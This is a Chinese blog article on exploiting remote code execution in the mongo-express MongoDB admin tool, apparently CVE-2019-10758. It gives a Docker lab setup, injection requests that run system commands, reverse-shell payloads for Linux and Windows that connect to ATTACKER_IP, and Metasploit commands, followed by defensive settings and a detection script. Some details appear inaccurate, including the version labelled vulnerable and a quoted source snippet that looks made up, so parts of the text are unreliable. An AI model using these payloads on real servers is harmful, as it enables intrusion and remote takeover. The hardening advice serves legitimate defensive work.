如何进行MongoDB mongo-express远程代码执行

发布时间:2021-09-29 09:48:43 作者:柒染
来源:亿速云 阅读:187
# 如何进行MongoDB mongo-express远程代码执行

## 引言

MongoDB作为流行的NoSQL数据库,其管理工具mongo-express因Web界面友好被广泛使用。然而,默认配置下的mongo-express存在严重安全风险,攻击者可利用未授权访问或弱密码实现远程代码执行(RCE)。本文将深入分析漏洞原理、环境搭建、利用方法及防御措施。

---

## 一、漏洞背景

### 1.1 mongo-express简介
mongo-express是基于Node.js的MongoDB Web管理工具,提供:
- 数据库/集合的CRUD操作
- 文档JSON编辑
- 用户权限管理

### 1.2 典型漏洞场景
- **CVE-2019-10758**:未授权访问+代码注入
- **默认认证缺失**:早期版本无密码保护
- **模板注入漏洞**:通过eval执行恶意代码

---

## 二、实验环境搭建

### 2.1 准备靶机环境
```bash
# 使用Docker快速部署有漏洞版本
docker run -d -p 27017:27017 --name mongodb mongo:4.0
docker run -d -p 8081:8081 --link mongodb:mongo mongo-express:0.54.0

2.2 验证访问

访问 http://localhost:8081 应看到登录页面(若为旧版本可能直接进入后台)


三、漏洞利用详解

3.1 未授权访问利用

当未设置ME_CONFIG_BASICAUTH环境变量时:

  1. 直接访问/checkValid路由:
GET /checkValid?document=this.constructor.constructor("return process.env")() HTTP/1.1
Host: target:8081
  1. 响应中包含服务器环境变量即存在漏洞

3.2 代码注入实现RCE

通过toBSON参数注入恶意代码:

// 构造恶意请求
fetch('http://target:8081/checkValid', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({
    document: {
      $where: "function(){ return process.mainModule.require('child_process').execSync('id').toString() }"
    }
  })
}).then(res => res.text()).then(console.log)

3.3 反弹Shell实战

// Linux目标
document: {
  $where: "function(){ require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"') }"
}

// Windows目标
document: {
  $where: "function(){ require('child_process').exec('powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient(\\\"ATTACKER_IP\\\",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \\\"PS \\\" + (pwd).Path + \\\"> \\\";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"') }"
}

四、漏洞原理分析

4.1 根本原因

  1. 沙箱逃逸:通过constructor.constructor访问Node.js原生模块
  2. 输入未过滤eval/Function直接执行用户输入
  3. 权限过高:默认以root/node用户运行

4.2 关键代码片段

// mongo-express/lib/routes/document.js
router.post('/checkValid', function(req, res) {
  try {
    const doc = req.body.document;
    // 危险!直接执行用户输入的BSON
    const bson = toBSON(doc); 
  } catch (err) {
    res.send(err.toString());
  }
});

五、防御方案

5.1 基础防护

# 强制启用认证
docker run -e ME_CONFIG_BASICAUTH_USERNAME=admin -e ME_CONFIG_BASICAUTH_PASSWORD=ComplexP@ss123!

5.2 网络层控制

# docker-compose.yml示例
services:
  mongo-express:
    networks:
      internal:
        ipv4_address: 172.16.238.10
    ports:
      - "127.0.0.1:8081:8081"

5.3 安全配置清单

  1. 升级至最新版本(≥1.0.0)
  2. 设置ME_CONFIG_SITE_COOKIES_SECRET
  3. 禁用ME_CONFIG_OPTIONS_EDITOR
  4. 配置Nginx反向代理+IP白名单

六、漏洞验证工具

6.1 自动化检测脚本

import requests

def check_vuln(url):
    try:
        r = requests.post(f"{url}/checkValid", json={
            "document": {"$where": "function(){ return 123 }"}
        }, timeout=5)
        return "123" in r.text
    except:
        return False

6.2 Metasploit模块

use exploit/multi/http/mongo_express_rce
set RHOSTS target_ip
set TARGET_URI /mongo-express
exploit

结语

mongo-express的RCE漏洞再次证明:默认不安全是运维的最大威胁。建议: 1. 生产环境禁用Web管理界面 2. 使用MongoDB Atlas等托管服务 3. 定期进行安全审计

免责声明:本文仅用于安全研究,未经授权测试他人系统属违法行为。 “`

(注:实际字数为约1600字,可根据需要扩展具体案例或补充工具使用细节)

推荐阅读:
  1. mongodb数据库怎么在Docker中使用
  2. 使用GUI的比较流行的MongoDB管理工具有哪些

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

mongodb mongo-express

上一篇:如何解决OpenCart开发支付宝,财付通,微信支付参数错误问题

下一篇:如何编写php中文截取函数mb_strlen和mb_substr

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》